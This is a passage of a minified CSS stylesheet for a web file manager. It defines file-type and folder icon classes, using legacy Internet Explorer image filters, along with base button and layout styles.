\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px 